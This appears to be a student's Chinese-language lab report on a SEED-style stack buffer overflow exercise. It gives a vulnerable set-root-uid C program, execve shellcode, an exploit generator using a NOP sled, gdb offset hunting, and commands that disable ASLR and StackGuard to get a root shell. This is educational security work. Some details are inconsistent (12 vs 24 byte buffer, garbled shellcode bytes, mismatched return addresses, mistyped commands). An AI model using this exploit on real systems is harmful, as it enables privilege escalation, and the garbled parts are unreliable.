缓冲区溢出
目录
一、实验目的
二、实验要求
三、实验环境
1. 硬件介绍
2. 环境配置
四、 实验过程
4.1 实验一:利用漏洞
4.1.1攻击原理介绍
4.1.2攻击步骤
4.2 实验二:评估/bin/bash中的保护机制
4.3 实验三:评估地址随机化的影响
4.4 实验四:评估Stack Guard保护机制
一、实验目的
缓冲区溢出是指程序试图在预分配的固定长度缓冲区边界之外写入数据的条件。这种漏洞可能被恶意用户利用来改变程序的流程控制,甚至执行任意代码。实验旨在让理解这种漏洞的原理和危害,并学会如何利用这种漏洞获取root权限。同时,还将了解和评估Fedora中实施的几种保护方案,以抵御缓冲区溢出攻击。
二、实验要求
任务1:利用漏洞
目标:开发一个利用程序,生成“badfile”的内容,使得当易受攻击的程序读取并处理该文件内容时,能够触发缓冲区溢出,进而获取root shell。
操作:需要在给定的exploit.c代码基础上,填充合适的缓冲区内容,编译并运行该程序以生成“badfile”,然后运行易受攻击的程序stack来发起攻击。
任务2:评估/bin/bash中的保护机制
目标:评估当/bin/sh指向/bin/bash时,/bin/bash中的保护机制对缓冲区溢出攻击的影响。
操作:将/bin/sh重新链接回/bin/bash,然后运行任务1中开发的攻击代码,观察是否能够获取shell以及是否为root shell,并在实验报告中描述观察结果和解释原因。
任务3:评估地址随机化的影响
目标:评估地址随机化对缓冲区溢出攻击的影响。
操作:启用Ubuntu的地址随机化功能,再次运行任务1中的攻击代码,观察是否能够成功获取root shell,并分析地址随机化如何增加攻击的难度。
任务4:评估Stack Guard保护机制
目标:评估GCC的Stack Guard保护机制对缓冲区溢出攻击的影响。
操作:重新编译易受攻击的程序stack.c,不使用-fno-stack-protector选项,以启用Stack Guard保护,然后重复任务1的攻击过程,观察并报告结果。
三、实验环境
1. 硬件介绍
操作系统 | linux |
主机名称 | ubuntu |
架构 | 32位 |
2. 环境配置
- /bin/zsh
/bin/bash的Set-UID保护:
在许多现代Linux系统中,/bin/bash会自动降低其权限,即使它被一个Set-UID程序调用。这意味着即使你通过缓冲区溢出攻击成功地调用/bin/bash,你可能也无法保留root权限。
zsh没有这种自动降低权限的机制,因此使用zsh可以更容易地保留通过缓冲区溢出攻击获得的root权限。
sudo apt install zsh
可在/usr/bin下查看
取消bash连接
sudo rm -s /bin/sh
设置默认shell为zsh
sudo ln -s /bin/usr/zsh /bin/sh
禁用空间地址随机化
sudo sysctl -w kernel.randomize_va_space=0
四、 实验过程
4.1 实验一:利用漏洞
4.1.1攻击原理介绍
#include <stdlib.h>#include <stdio.h>#include <string.h>int bof(char *str){char buffer[24];/* The following statement has a buffer overflow problem */strcpy(buffer, str);return 1;}int main(int argc, char **argv){char str[517];FILE *badfile;badfile = fopen("badfile", "r");fread(str, sizeof(char), 517, badfile);bof(str);printf("Returned Properly\n");return 1;}
以上程序存在缓冲区溢出漏洞。它首先从一个名为“badfile”的文件中读取一个输入,然后在函数bof()中将这个输入传递给另一个缓冲区。原始输入的最大长度可以是517字节,但是bof()中的缓冲区只有12字节长。因为strcpy()不检查边界,所以会发生缓冲区溢出。由于这个程序是一个set-root-uid程序,如果一个普通用户可以利用这个缓冲区溢出漏洞,那么普通用户可能就能够获得一个根shell。需要注意的是,该程序从一个名为“badfile”的文件中获取输入。这个文件是由用户控制的。现在,我们的目标是为“badfile”创建内容,这样当易受攻击的程序将内容复制到它的缓冲区中时,就可以生成一个根shell。
4.1.2攻击步骤
(1)准备一个shell并测试
/* call_shellcode.c *//* A program that creates a file containing code for launching shell */#include <stdlib.h>#include <stdio.h>const char code[] ="\x31\xc0" /* Line 1: xorl %eax,%eax */"\x50" /* Line 2: pushl %eax */"\x68""//sh" /* Line 3: pushl $0x68732f2f */"\x68""/bin" /* Line 4: pushl $0x6e69622f */"\x89\xe3" /* Line 5: movl %esp,%ebx */"\x50" /* Line 6: pushl %eax */"\x53" /* Line 7: pushl %ebx */"\x89\xe1" /* Line 8: movl %esp,%ecx */"\x99" /* Line 9: cdql */"\xb0\x0b" /* Line 10: movb $0x0b,%al */"\xcd\x80"; /* Line 11: int $0x80 */int main(int argc, char **argv){char buf[sizeof(code)];strcpy(buf, code);((void(*)( ))buf)( );}
编译运行,可以看到显示终端
gcc -z execstack -o call_shellcode call_shellcode.c./call_shellcode
(2)准备一个易受攻击程序,使用root用户创建
/* stack.c */
/* This program has a buffer overflow vulnerability. */
/* Our task is to exploit this vulnerability */#include <stdlib.h>
#include <stdio.h>
#include <string.h>int bof(char *str)
{char buffer[24];/* The following statement has a buffer overflow problem */strcpy(buffer, str);return 1;
}int main(int argc, char **argv)
{char str[517];FILE *badfile;badfile = fopen("badfile", "r");fread(str, sizeof(char), 517, badfile);bof(str);printf("Returned Properly\n");return 1;
}
函数bof:
定义了一个名为bof的函数,它接受一个字符指针str作为参数
在函数内部,定义了一个长度为12字节的字符数组buffer。
使用strcpy函数将传入的字符串str复制到buffer中。这里存在缓冲区溢出的问题,因为strcpy不会检查目标缓冲区的大小,如果str的长度超过12字节,就会溢出buffer,覆盖相邻的内存区域。
主函数main:
定义了一个长度为517字节的字符数组str。
打开一个名为"badfile"的文件,以只读模式("r")。
使用fread函数从文件中读取最多517字节的数据到str数组中。
调用bof函数,并将str作为参数传递。
如果bof函数返回,打印"Returned Properly"。
函数返回1,表示程序正常结束。
漏洞利用:
这个程序的漏洞在于bof函数中的strcpy调用。如果"badfile"中的数据超过24字节,它将溢出buffer数组,可能覆盖函数的返回地址或其他重要的程序数据。
为了利用这个漏洞获取root权限,需要将程序编译为set-root-uid程序。这通常在root账户下完成,并使用chmod命令设置执行权限:
sudo gcc -fno-stack-protector -o stack stack.ck -z execstack
sudo chmod 4755 stack
这里使用-fno-stack-protector选项禁用了Stack Guard保护,使得缓冲区溢出攻击更容易成功。
(3)准备一个攻击程序exploit.c
exploit.c程序的目标是构造“badfile”的内容,使其包含shellcode和适当的填充字节,以覆盖返回地址,使其指向shellcode。
#include <stdlib.h>
#include <stdio.h>
#include <string.h>const char shellcode[] = "\x31\xc0""\x50""\x689\xe3""\x50""\x53""\x89\x1\xe1""\x99""\xb0\x0b""\xcd\x80";void main(int argc, char **argv)
{char buffer[517];FILE *badfile;memset(&buffer, 0x90, sizeof(buffer)); // 使用NOP指令(0x90)填充缓冲区memcpy(buffer+400, shellcode,sizeof(shellcode));//存放shell的具体位置badfile = fopen("./badfile", "w");unsigned long ret_addr = 0xbffffe50; //计算shell起始地址memcpy(buffer+36, &ret_addr, 4); //计算返回地址的位置fwrite(buffer, sizeof(buffer), 1, badfile);fclose(badfile);printf("Exploit文件‘badfile’创建成功。\n");
}
在攻击程序中有三个参数需要我们自己计算。
1.首先是存放shell的具体位置,已知读取517位,shellcode是32位,那么将shell存放在517-32=485以前的位置即可,这里我是存放在buffer + 400;
2.然后是计算返回地址的位置,通过gdb调试stark程序
gdb stack
查询出返回地址
disas main
查询bof函数位置
disas bof
设置断点
b *0x080484d3
可以在badfile中插入标志来判断起始位置
Strcpy(buffer, “AAAA”);
gdb中查看相应存储内容的命令如下
x/152xb $esp
A是0x41,同时可以找到返回地址0x0804852e
它们之间相差了36位,因此返回地址为buffer+36
3.shell的起始位置无须十分精确,因为用0x90设置了NOP滑梯,即使没有准确找到shell起始位置,也可以滑过去,这里要求使用的地址在NOP滑梯中,并且在shell之前即可。
我选择了shell之前的0xbfffef50
至此,三个参数计算完毕,可以开始正式攻击。
- 编译运行攻击程序
gcc -o exploit exploit.c./exploitgcc -o stack -z execstack -fno-stack-protector stack.cchmod 4755 stack./stack
可以看到shell
再次从gdb窗口调试,发现返回地址已经被替换成我们预先设置的
(5)将用户的实际用户ID(real user ID)设置为root(0),然后启动一个shell。
#include <unistd.h>
#include <stdlib.h>void main() {setuid(0); // 设置用户ID为0(root用户)
system("/bin/sh"); // 执行/bin/sh,启动一个shell
}
进行编译运行,uid发生了改变
4.2 实验二:评估/bin/bash中的保护机制
终端切换回bash
取消zsh连接
sudo rm -s /bin/sh
设置默认shell为bash
sudo ln -s /bin/bash /bin/sh
运行stack,终端出现。
./stack
4.3 实验三:评估地址随机化的影响
现在,我们打开Ubuntu的地址随机化。我们运行任务1中开发的相同攻击。
sudo sysctl -w kernel.randomize_va_space=2
./stack
发现并不能获得shell
如果运行一次易受攻击的代码都不能让你获得根shell,那么多次运行它怎么样?你可以在下面的循环中运行。/stack,看看会发生什么。如果你的漏洞利用程序设计得当,你应该可以在一段时间后获得根shell。你可以修改你的漏洞利用程序来增加成功的概率(即减少你必须等待的时间)。
sh -c "while [ 1 ]; do ./stack; done;"
等待一段时间后可能会成功
4.4 实验四:评估Stack Guard保护机制
首先关闭地址随机化。
到目前为止,我们在编译程序时禁用了GCC中的“堆栈保护”保护机制。在此任务中,考虑在堆栈保护存在的情况下重复任务1。要做到这一点,你应该在编译程序时不使用-fno-stack-protector选项。将重新编译易受攻击的程序Stack .c,以使用GCC的堆栈保护,再次执行任务1。
sudo gcc -o stack stack.ck -z execstacksudo chmod 4755 stack
可见由于栈保护机制,攻击失败。